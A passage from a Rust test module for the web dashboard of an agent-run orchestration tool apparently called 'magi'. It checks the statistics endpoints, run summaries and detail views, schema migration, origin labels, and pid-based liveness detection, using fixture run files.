19511        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19512        assert!(APP_CSS.contains(".precision-scatter"));
19513    }
19514
19515    #[test]
19516    fn advisor_reflection_is_drawn_as_stacked_segments() {
19517        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19518        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19519        let html = include_str!("../assets/ui/index.html");
19520        assert!(html.contains("Approximate"));
19521        for label in ["reflected strongly", "faint", "no proposal"] {
19522            assert!(html.contains(label));
19523        }
19524        let css = include_str!("../assets/ui/app.css");
19525        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19526            assert!(css.contains(&format!(".{c} {{")));
19527        }
19528    }
19529
19530    #[test]
19531    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19532        assert!(APP_JS.contains("function statsDailyPlan("));
19533        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19534        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19535    }
19536
19537    #[test]
19538    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19539        let start = APP_JS
19540            .find("function scheduleSearch(")
19541            .expect("scheduleSearch exists");
19542        let body = &APP_JS[start..];
19543        let body = &body[..body.find("\n}\n").expect("function end")];
19544        assert!(body.contains("s.seq += 1"));
19545    }
19546
19547    /// The dashboard reads every run's state itself rather than trusting a
19548    /// separately-maintained count, so an unreadable run must be counted the
19549    /// same way `/api/health` counts it - never silently dropped the way the
19550    /// CLI's own `stats::load_all` drops it.
19551    #[tokio::test]
19552    async fn stats_runs_unreadable_matches_health() {
19553        let f = Fixture::start().await;
19554        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19555        let broken = f.runs().join("20260902-140502-bad");
19556        std::fs::create_dir_all(&broken).expect("run dir");
19557        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19558
19559        let stats = f.get("/api/stats").await;
19560        let health = f.get("/api/health").await;
19561
19562        assert_eq!(stats.status, 200);
19563        assert_eq!(stats.json()["totals"]["runs"], 1);
19564        assert_eq!(stats.json()["runs_unreadable"], 1);
19565        assert_eq!(
19566            stats.json()["runs_unreadable"],
19567            health.json()["runs_unreadable"],
19568            "the dashboard and /api/health must never disagree about how many \
19569             runs could not be read"
19570        );
19571    }
19572
19573    #[tokio::test]
19574    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19575        let f = Fixture::start().await;
19576        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19577        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19578        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19579
19580        let totals = &f.get("/api/stats").await.json()["totals"];
19581        assert_eq!(totals["runs"], 3);
19582        assert_eq!(totals["merged"], 1);
19583        assert_eq!(totals["stalled"], 1);
19584        assert_eq!(totals["in_progress"], 1);
19585        // A stalled run must never read as blocked/merged/ready - it is its
19586        // own bucket, not folded into a "decided" one.
19587        assert_eq!(totals["blocked"], 0);
19588        assert_eq!(totals["ready"], 0);
19589    }
19590
19591    #[tokio::test]
19592    async fn stats_advisors_report_proposals_and_reflection() {
19593        use crate::advise::{Advice, AdvisorRecord, Reflection};
19594        use crate::verdict::Proposal;
19595
19596        let f = Fixture::start().await;
19597        let mut state = RunState::new(
19598            PathBuf::from("/repo/magi"),
19599            "main".to_owned(),
19600            "0123456789abcdef".to_owned(),
19601            "task".to_owned(),
19602            Config::default(),
19603        );
19604        state.id = "20260902-140501-a".to_owned();
19605        state.status = RunStatus::Merged;
19606        state.advice = Some(Advice {
19607            records: vec![
19608                AdvisorRecord {
19609                    seat: "advisor-1".to_owned(),
19610                    agent: "alpha".to_owned(),
19611                    proposal: Some(Proposal {
19612                        approach: "do it".to_owned(),
19613                        key_tradeoff: "speed over memory".to_owned(),
19614                        risks: Vec::new(),
19615                        touches: Vec::new(),
19616                        why_not_naive: "breaks under load".to_owned(),
19617                    }),
19618                    error: None,
19619                    duration_ms: 0,
19620                    reflection: Reflection::Strong,
19621                },
19622                AdvisorRecord {
19623                    seat: "advisor-2".to_owned(),
19624                    agent: "alpha".to_owned(),
19625                    proposal: None,
19626                    error: Some("timed out".to_owned()),
19627                    duration_ms: 0,
19628                    reflection: Reflection::Absent,
19629                },
19630            ],
19631            synthesis: Some("blended brief".to_owned()),
19632        });
19633        let dir = f.runs().join(&state.id);
19634        std::fs::create_dir_all(&dir).expect("run dir");
19635        std::fs::write(
19636            dir.join("run.json"),
19637            serde_json::to_string_pretty(&state).expect("serialize run"),
19638        )
19639        .expect("write run.json");
19640
19641        // `alpha` is in no roster here; this test is about the rates.
19642        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19643        let alpha = advisors
19644            .as_array()
19645            .expect("an array")
19646            .iter()
19647            .find(|a| a["agent"] == "alpha")
19648            .expect("alpha row");
19649        assert_eq!(alpha["seated"], 2);
19650        assert_eq!(alpha["proposed"], 1);
19651        assert_eq!(alpha["absent"], 1);
19652        assert_eq!(alpha["strong"], 1);
19653        assert_eq!(alpha["faint"], 0);
19654        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19655    }
19656
19657    #[tokio::test]
19658    async fn stats_hides_agents_outside_the_roster_unless_all() {
19659        use crate::run::Candidate;
19660        let repo = TempDir::new().expect("repo dir");
19661        std::fs::write(
19662            repo.path().join("magi.toml"),
19663            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19664        )
19665        .expect("magi.toml");
19666        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19667        let mut state = RunState::new(
19668            PathBuf::from("/repo/magi"),
19669            "main".to_owned(),
19670            "0123456789abcdef".to_owned(),
19671            "task".to_owned(),
19672            Config::default(),
19673        );
19674        state.id = "20260902-140501-a".to_owned();
19675        state.status = RunStatus::Merged;
19676        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19677            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19678                "index": 0, "label": label.to_string(), "agent": agent,
19679                "branch": "b", "worktree": "/w",
19680            }))
19681            .expect("candidate");
19682            c.label = label;
19683            state.candidates.push(c);
19684        }
19685        let dir = f.runs().join(&state.id);
19686        std::fs::create_dir_all(&dir).expect("run dir");
19687        std::fs::write(
19688            dir.join("run.json"),
19689            serde_json::to_string_pretty(&state).expect("serialize run"),
19690        )
19691        .expect("write run.json");
19692
19693        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19694            v["agents"]
19695                .as_array()
19696                .expect("array")
19697                .iter()
19698                .map(|a| a["agent"].as_str().unwrap().to_owned())
19699                .collect()
19700        };
19701        let hidden = f.get("/api/stats").await.json();
19702        assert_eq!(agents_of(&hidden), ["keep"]);
19703        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19704        assert_eq!(hidden["totals"]["runs"], 1);
19705
19706        let all = f.get("/api/stats?all=true").await.json();
19707        assert_eq!(agents_of(&all).len(), 2);
19708        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19709        // Verify competitive and solo keys exist on agent entries
19710        let keep_agent = all["agents"]
19711            .as_array()
19712            .unwrap()
19713            .iter()
19714            .find(|a| a["agent"] == "keep")
19715            .unwrap();
19716        assert_eq!(keep_agent["competitive_entered"], 1);
19717        assert_eq!(keep_agent["competitive_wins"], 0);
19718        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19719        assert_eq!(keep_agent["solo_entered"], 0);
19720        assert_eq!(keep_agent["solo_adopted"], 0);
19721        assert!(keep_agent["solo_adoption_rate"].is_null());
19722    }
19723
19724    #[tokio::test]
19725    async fn stats_release_bumps_split_clean_from_attention() {
19726        use crate::run::ReleaseBump;
19727
19728        let f = Fixture::start().await;
19729
19730        let mut clean = RunState::new(
19731            PathBuf::from("/repo/magi"),
19732            "main".to_owned(),
19733            "0123456789abcdef".to_owned(),
19734            "task".to_owned(),
19735            Config::default(),
19736        );
19737        clean.id = "20260902-140501-a".to_owned();
19738        clean.status = RunStatus::Merged;
19739        clean.release_bump = Some(ReleaseBump {
19740            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19741            version: Some("1.0.0".to_owned()),
19742            automerge_enabled: true,
19743            merged_directly: false,
19744            local: false,
19745            release: None,
19746            problem: None,
19747            action_required: None,
19748            skipped: None,
19749        });
19750
19751        let mut blocked = RunState::new(
19752            PathBuf::from("/repo/magi"),
19753            "main".to_owned(),
19754            "0123456789abcdef".to_owned(),
19755            "task".to_owned(),
19756            Config::default(),
19757        );
19758        blocked.id = "20260902-140502-b".to_owned();
19759        blocked.status = RunStatus::Merged;
19760        blocked.release_bump = Some(ReleaseBump {
19761            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19762            version: Some("1.0.1".to_owned()),
19763            automerge_enabled: false,
19764            merged_directly: false,
19765            local: false,
19766            release: None,
19767            problem: Some("checks red".to_owned()),
19768            action_required: Some("look at the PR".to_owned()),
19769            skipped: None,
19770        });
19771
19772        for state in [&clean, &blocked] {
19773            let dir = f.runs().join(&state.id);
19774            std::fs::create_dir_all(&dir).expect("run dir");
19775            std::fs::write(
19776                dir.join("run.json"),
19777                serde_json::to_string_pretty(state).expect("serialize run"),
19778            )
19779            .expect("write run.json");
19780        }
19781
19782        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19783        assert_eq!(bumps["merged"], 2);
19784        assert_eq!(bumps["recorded"], 2);
19785        assert_eq!(bumps["pr_opened"], 2);
19786        assert_eq!(bumps["automerge_enabled"], 1);
19787        assert_eq!(bumps["needs_attention"], 1);
19788        assert_eq!(bumps["clean"], 1);
19789        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19790        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19791    }
19792
19793    #[tokio::test]
19794    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19795        let f = Fixture::start().await;
19796        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19797
19798        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19799        assert_eq!(bumps["merged"], 1);
19800        assert_eq!(bumps["recorded"], 0);
19801        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19802        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19803        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19804        // `pr_opened` and `recorded` are both zero here, so these rates have
19805        // no denominator to compute from and must be null.
19806        assert_eq!(bumps["automerge_rate"], Value::Null);
19807        assert_eq!(bumps["attention_rate"], Value::Null);
19808    }
19809
19810    #[tokio::test]
19811    async fn stats_queue_counts_come_from_the_live_queue() {
19812        let f = Fixture::start().await;
19813        let q = f.queue();
19814        let mut queued = Task::new(
19815            "queued task".to_owned(),
19816            "do it".to_owned(),
19817            PathBuf::from("/repo"),
19818            Source::Human,
19819        );
19820        q.put(&mut queued).expect("put queued");
19821        let mut held = Task::new(
19822            "held task".to_owned(),
19823            "do it later".to_owned(),
19824            PathBuf::from("/repo"),
19825            Source::Human,
19826        );
19827        held.hold_machine(Some("out of attempts".to_owned()));
19828        q.put(&mut held).expect("put held");
19829
19830        let queue = f.get("/api/stats").await.json()["queue"].clone();
19831        assert_eq!(queue["queued"], 1);
19832        assert_eq!(queue["held"], 1);
19833        assert_eq!(queue["running"], 0);
19834        assert_eq!(queue["done"], 0);
19835        assert_eq!(queue["failed"], 0);
19836        assert_eq!(queue["blocked"], 0);
19837    }
19838
19839    #[tokio::test]
19840    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19841        let f = Fixture::start().await;
19842        let stats = f.get("/api/stats").await;
19843        assert_eq!(stats.status, 200);
19844        assert_eq!(stats.json()["totals"]["runs"], 0);
19845        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19846        assert_eq!(stats.json()["runs_unreadable"], 0);
19847        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19848        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19849        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19850        assert_eq!(stats.json()["repo"], Value::Null);
19851    }
19852
19853    #[tokio::test]
19854    async fn stats_lists_every_repository_with_runs_recorded() {
19855        let f = Fixture::start().await;
19856        write_run_repo(
19857            &f.runs(),
19858            "20260902-140501-a",
19859            RunStatus::Merged,
19860            "/repos/a",
19861        );
19862        write_run_repo(
19863            &f.runs(),
19864            "20260902-140502-b",
19865            RunStatus::Merged,
19866            "/repos/a",
19867        );
19868        write_run_repo(
19869            &f.runs(),
19870            "20260902-140503-c",
19871            RunStatus::Blocked,
19872            "/repos/b",
19873        );
19874
19875        let stats = f.get("/api/stats").await;
19876        assert_eq!(stats.status, 200);
19877        // Unfiltered - the aggregate across both repositories.
19878        assert_eq!(stats.json()["totals"]["runs"], 3);
19879        assert_eq!(stats.json()["repo"], Value::Null);
19880
19881        let repos = stats.json()["repos"].clone();
19882        let repos = repos.as_array().unwrap();
19883        assert_eq!(repos.len(), 2);
19884        // Busiest (2 runs) first.
19885        assert_eq!(repos[0]["repo"], "/repos/a");
19886        assert_eq!(repos[0]["name"], "a");
19887        assert_eq!(repos[0]["runs"], 2);
19888        assert_eq!(repos[1]["repo"], "/repos/b");
19889        assert_eq!(repos[1]["runs"], 1);
19890    }
19891
19892    #[tokio::test]
19893    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19894        let f = Fixture::start().await;
19895        write_run_repo(
19896            &f.runs(),
19897            "20260902-140501-a",
19898            RunStatus::Merged,
19899            "/repos/a",
19900        );
19901        write_run_repo(
19902            &f.runs(),
19903            "20260902-140502-b",
19904            RunStatus::Blocked,
19905            "/repos/b",
19906        );
19907
19908        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19909        assert_eq!(stats.status, 200);
19910        assert_eq!(stats.json()["totals"]["runs"], 1);
19911        assert_eq!(stats.json()["totals"]["merged"], 1);
19912        assert_eq!(stats.json()["repo"], "/repos/a");
19913        // The repository list itself is unaffected by the filter - it is
19914        // what a client switches repositories from.
19915        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19916        // runs_unreadable is a whole-workload count, never scoped to the
19917        // selected repository - see StatsView::runs_unreadable's own doc.
19918        assert_eq!(stats.json()["runs_unreadable"], 0);
19919    }
19920
19921    #[tokio::test]
19922    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19923        let f = Fixture::start().await;
19924        write_run_repo(
19925            &f.runs(),
19926            "20260902-140501-a",
19927            RunStatus::Merged,
19928            "/repos/a",
19929        );
19930        write_run_repo(
19931            &f.runs(),
19932            "20260902-140502-b",
19933            RunStatus::Merged,
19934            "/repos/b",
19935        );
19936
19937        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19938            let json = f.get(uri).await.json();
19939            let daily = json["daily"].as_array().expect("daily is an array");
19940            assert_eq!(daily.len(), 30);
19941            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19942            let mut sorted = dates.clone();
19943            sorted.sort();
19944            assert_eq!(dates, sorted);
19945            for d in daily {
19946                assert_eq!(
19947                    d["merged"].as_u64().unwrap()
19948                        + d["ready"].as_u64().unwrap()
19949                        + d["other"].as_u64().unwrap(),
19950                    d["runs"].as_u64().unwrap()
19951                );
19952            }
19953            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19954        }
19955    }
19956
19957    #[tokio::test]
19958    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19959        let f = Fixture::start().await;
19960        write_run_repo(
19961            &f.runs(),
19962            "20260902-140501-a",
19963            RunStatus::Merged,
19964            "/repos/a",
19965        );
19966
19967        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19968        assert_eq!(stats.status, 404);
19969    }
19970
19971    #[tokio::test]
19972    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19973        let f = Fixture::start().await;
19974        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19975
19976        let summary = f.get("/api/runs").await.json();
19977        let row = &summary[0];
19978        assert_eq!(row["short"], "a1b2");
19979        assert_eq!(row["status"], "ready");
19980        assert_eq!(row["done"], true);
19981        assert_eq!(row["title"], "Add a web UI");
19982        assert_eq!(row["repo_name"], "magi");
19983        assert_eq!(row["judges"], 3);
19984        assert_eq!(row["winner"], Value::Null);
19985        assert_eq!(row["reviews"], 0);
19986
19987        // The short id resolves, and the detail route is the state itself, not
19988        // a projection of it: the UI reads fields the summary does not carry.
19989        let detail = f.get("/api/runs/a1b2").await;
19990        assert_eq!(detail.status, 200);
19991        assert_eq!(detail.json()["base_branch"], "main");
19992        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19993    }
19994
19995    /// `status: "ready"` alone cannot tell a run still headed for a landing
19996    /// (a PR closed without merging, say) apart from one `[merge] mode =
19997    /// "none"` left unmerged for good — the confusion the operator flagged
19998    /// after the CLI report already grew a `not landed — nothing to do by
19999    /// design` line for exactly this case (`report.rs`). Both the list route
20000    /// and the detail route must carry a flag the phone can key on instead of
20001    /// re-deriving it from `status` + `merge.mode` itself.
20002    #[tokio::test]
20003    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20004        let f = Fixture::start().await;
20005
20006        let mut none_run = RunState::new(
20007            PathBuf::from("/repo/magi"),
20008            "main".to_owned(),
20009            "0123456789abcdef".to_owned(),
20010            "Add a web UI".to_owned(),
20011            Config::default(),
20012        );
20013        none_run.id = "20260902-140503-none".to_owned();
20014        none_run.status = RunStatus::Ready;
20015        none_run.merge = Some(crate::run::MergeOutcome {
20016            mode: crate::config::MergeMode::None,
20017            ok: true,
20018            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20019            empty: false,
20020        });
20021        write_state(&f.runs(), &none_run);
20022
20023        let mut pr_run = RunState::new(
20024            PathBuf::from("/repo/magi"),
20025            "main".to_owned(),
20026            "0123456789abcdef".to_owned(),
20027            "Add a web UI".to_owned(),
20028            Config::default(),
20029        );
20030        pr_run.id = "20260902-140504-prcl".to_owned();
20031        pr_run.status = RunStatus::Ready;
20032        pr_run.merge = Some(crate::run::MergeOutcome {
20033            mode: crate::config::MergeMode::Pr,
20034            ok: false,
20035            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20036            empty: false,
20037        });
20038        write_state(&f.runs(), &pr_run);
20039
20040        let summary = f.get("/api/runs").await.json();
20041        let rows: std::collections::HashMap<&str, &Value> = summary
20042            .as_array()
20043            .expect("an array")
20044            .iter()
20045            .map(|r| (r["id"].as_str().expect("an id"), r))
20046            .collect();
20047        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20048        assert_eq!(
20049            rows[none_run.id.as_str()]["unmerged_by_design"],
20050            true,
20051            "a mode-none Ready must be flagged in the list"
20052        );
20053        assert_eq!(
20054            rows[pr_run.id.as_str()]["unmerged_by_design"],
20055            false,
20056            "a Ready reached by a closed pull request is a different case"
20057        );
20058
20059        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20060        assert_eq!(none_detail["status"], "ready");
20061        assert_eq!(none_detail["unmerged_by_design"], true);
20062
20063        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20064        assert_eq!(pr_detail["unmerged_by_design"], false);
20065    }
20066
20067    /// `RunState::active` is only ever cleared by whoever populated it, so the
20068    /// detail route also has to say whether a daemon is actually still
20069    /// driving this run right now — otherwise a seat from a killed process's
20070    /// last wave would read as live forever.
20071    #[tokio::test]
20072    async fn run_core_survives_unavailable_related_stores() {
20073        let home = TempDir::new().unwrap();
20074        let ui = delta_test_ui(home.path());
20075        let state = RunState::new(
20076            PathBuf::from("/repo/magi"),
20077            "main".into(),
20078            "0123456789abcdef".into(),
20079            "Useful core instructions".into(),
20080            Config::default(),
20081        );
20082        let dir = ui.runs.join(&state.id);
20083        std::fs::create_dir_all(&dir).unwrap();
20084        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20085        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20086        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20087        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20088            .await
20089            .unwrap()
20090            .0;
20091        assert_eq!(core.state.instruction, state.instruction);
20092        assert_eq!(core.state.updated_at, state.updated_at);
20093        assert!(core.task.is_none());
20094        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20095    }
20096
20097    #[tokio::test]
20098    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20099        let f = Fixture::start().await;
20100        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20101        // half of this test can claim the daemon is working on it without a
20102        // second helper.
20103        let id = "20260902-140502-bbbb";
20104        let mut state = RunState::new(
20105            PathBuf::from("/repo/magi"),
20106            "main".to_owned(),
20107            "0123456789abcdef".to_owned(),
20108            "Add a web UI".to_owned(),
20109            Config::default(),
20110        );
20111        state.id = id.to_owned();
20112        state.status = RunStatus::Judging;
20113        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20114        let dir = f.runs().join(id);
20115        std::fs::create_dir_all(&dir).expect("run dir");
20116        std::fs::write(
20117            dir.join("run.json"),
20118            serde_json::to_string_pretty(&state).expect("serialize run"),
20119        )
20120        .expect("write run.json");
20121
20122        // No daemon.json at all, and no `driver_pid` recorded either (this
20123        // state was written directly, never through `execute()`): there is
20124        // nothing to confirm either way, so the route must say `"unknown"` —
20125        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20126        // run` used to get from this route before `driver_pid` existed.
20127        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20128        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20129        assert_eq!(cold["live"], "unknown", "{cold}");
20130
20131        // A fresh heartbeat naming exactly this run: the same entry now reads
20132        // as confirmed, not merely recorded.
20133        write_daemon(f.home.path(), Timestamp::now());
20134        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20135        assert_eq!(warm["live"], "live", "{warm}");
20136    }
20137
20138    #[test]
20139    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20140        let home = tempfile::tempdir().expect("temp home");
20141        let runs = home.path().join("runs");
20142        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20143            let mut state = RunState::new(
20144                PathBuf::from("/repo/magi"),
20145                "main".to_owned(),
20146                "0123456789abcdef".to_owned(),
20147                "Generated review context, not authored task criteria".to_owned(),
20148                Config::default(),
20149            );
20150            state.origin = origin;
20151            state.status = RunStatus::Blocked;
20152            // Earlier migrations must not infer these facts again.
20153            state.driver_exited = false;
20154            state.gate_ran = true;
20155            let expected = serde_json::to_value(&state).expect("serialize current state");
20156            let mut legacy = expected.clone();
20157            legacy["schema"] = serde_json::json!(13);
20158            legacy.as_object_mut().unwrap().remove("task_instruction");
20159            let dir = runs.join(&state.id);
20160            std::fs::create_dir_all(&dir).expect("run dir");
20161            let path = dir.join("run.json");
20162            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20163            std::fs::write(&path, &body).expect("write legacy run");
20164
20165            for loaded in [
20166                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20167                read_run(&runs, &state.id).expect("web migration"),
20168            ] {
20169                assert_eq!(loaded.schema, crate::run::SCHEMA);
20170                assert!(loaded.task_instruction.is_none());
20171                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20172            }
20173            assert_eq!(runs_unreadable(&runs), 0);
20174            assert_eq!(std::fs::read(&path).unwrap(), body);
20175        }
20176    }
20177
20178    /// Where a run came from is shown, and a run written before origins were
20179    /// recorded (schema 12, no `origin` key) stays readable and says so.
20180    #[tokio::test]
20181    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20182        let f = Fixture::start().await;
20183        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20184            let mut state = RunState::new(
20185                PathBuf::from("/repo/magi"),
20186                "main".to_owned(),
20187                "0123456789abcdef".to_owned(),
20188                "Add a web UI".to_owned(),
20189                Config::default(),
20190            );
20191            state.id = id.to_owned();
20192            state.origin = origin;
20193            let mut value = serde_json::to_value(&state).expect("serialize run");
20194            if let Some(schema) = schema {
20195                value["schema"] = serde_json::json!(schema);
20196                value.as_object_mut().unwrap().remove("origin");
20197            }
20198            let dir = f.runs().join(id);
20199            std::fs::create_dir_all(&dir).expect("run dir");
20200            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20201        };
20202        write(
20203            "20260930-092817-ec34",
20204            Some(crate::run::Origin::from_agent_env(
20205                Some(("4a7b".to_owned(), "chat".to_owned())),
20206                None,
20207            )),
20208            None,
20209        );
20210        write("20260930-092817-0ld1", None, Some(12));
20211
20212        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20213        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20214        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20215
20216        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20217        assert_eq!(
20218            old["origin_label"], "origin unknown (started before origins were recorded)",
20219            "{old}"
20220        );
20221        assert!(old["origin"].is_null(), "{old}");
20222
20223        let list = f.get("/api/runs").await.json();
20224        let labels: Vec<_> = list
20225            .as_array()
20226            .unwrap()
20227            .iter()
20228            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20229            .collect();
20230        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20231    }
20232
20233    #[tokio::test]
20234    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20235        let f = Fixture::start().await;
20236        let mut state = RunState::new(
20237            PathBuf::from("/repo"),
20238            "main".into(),
20239            "abc".into(),
20240            "task".into(),
20241            Config::default(),
20242        );
20243        state.status = RunStatus::Implementing;
20244        state.seat_started(
20245            "implement",
20246            "implement-A",
20247            std::time::Duration::from_secs(60),
20248            0,
20249        );
20250        state.save_under(f.home.path()).unwrap();
20251        let observed = f
20252            .get(&format!("/api/runs/{}/progress", state.id))
20253            .await
20254            .json();
20255        assert_eq!(observed["id"], state.id);
20256        assert!(observed["observed_at"].is_string());
20257        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20258        assert!(observed["progress"]["activity"].is_string());
20259        for field in [
20260            "config",
20261            "candidates",
20262            "land_approval",
20263            "task",
20264            "waiting",
20265            "done",
20266        ] {
20267            assert!(
20268                observed.get(field).is_none(),
20269                "progress must not expose control evidence: {field}"
20270            );
20271        }
20272    }
20273
20274    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20275    /// review` claims no daemon at all, so before this field existed the
20276    /// route above read it as `"dead"` — indistinguishable from a run a
20277    /// killed process abandoned — the whole time it was genuinely still
20278    /// answering. With a live pid recorded, it must read `"live"` even
20279    /// though no daemon claims it.
20280    #[tokio::test]
20281    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20282        let f = Fixture::start().await;
20283        let id = "20260922-090000-cccc";
20284        let mut state = RunState::new(
20285            PathBuf::from("/repo/magi"),
20286            "main".to_owned(),
20287            "0123456789abcdef".to_owned(),
20288            "Review only".to_owned(),
20289            Config::default(),
20290        );
20291        state.id = id.to_owned();
20292        state.status = RunStatus::Reviewing;
20293        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20294        // This test process's own pid: guaranteed alive, and never needs a
20295        // real daemon or a second process to prove it. The matching start-time
20296        // marker is what `liveness` now requires alongside a live pid — see
20297        // `RunState::driver_started_at`'s own doc for why the pid alone is
20298        // not enough.
20299        state.driver_pid = Some(std::process::id());
20300        state.driver_started_at = Some(
20301            crate::proc::process_started_at(std::process::id())
20302                .expect("this test process's own start time must be queryable"),
20303        );
20304        let dir = f.runs().join(id);
20305        std::fs::create_dir_all(&dir).expect("run dir");
20306        std::fs::write(
20307            dir.join("run.json"),
20308            serde_json::to_string_pretty(&state).expect("serialize run"),
20309        )
20310        .expect("write run.json");
20311
20312        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20313        assert_eq!(detail["live"], "live", "{detail}");
20314    }
20315
20316    /// A killed manual run's pid can be handed to a wholly unrelated later
20317    /// process — a live query on `driver_pid` alone would read this as
20318    /// `"live"`, exactly the false positive `driver_started_at` exists to
20319    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20320    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20321    #[tokio::test]
20322    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20323        let f = Fixture::start().await;
20324        let id = "20260922-090100-dddd";
20325        let mut state = RunState::new(
20326            PathBuf::from("/repo/magi"),
20327            "main".to_owned(),
20328            "0123456789abcdef".to_owned(),
20329            "Review only".to_owned(),
20330            Config::default(),
20331        );
20332        state.id = id.to_owned();
20333        state.status = RunStatus::Reviewing;
20334        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20335        // This test process's own pid really is alive, but the marker
20336        // recorded here does not match what it actually started at —
20337        // standing in for the pid having since been reused by a different
20338        // process than the one that wrote `run.json`.
20339        state.driver_pid = Some(std::process::id());
20340        state.driver_started_at = Some("1".to_owned());
20341        let dir = f.runs().join(id);
20342        std::fs::create_dir_all(&dir).expect("run dir");
20343        std::fs::write(
20344            dir.join("run.json"),
20345            serde_json::to_string_pretty(&state).expect("serialize run"),
20346        )
20347        .expect("write run.json");
20348
20349        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20350        assert_eq!(detail["live"], "dead", "{detail}");
20351    }
20352
20353    /// The deck's competition list is normally the first place an operator
20354    /// sees an old run. It must carry the same process verdict as detail, or
20355    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20356    #[test]
20357    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20358        let mk = |id: &str, pid: Option<u32>| {
20359            let mut s = RunState::new(
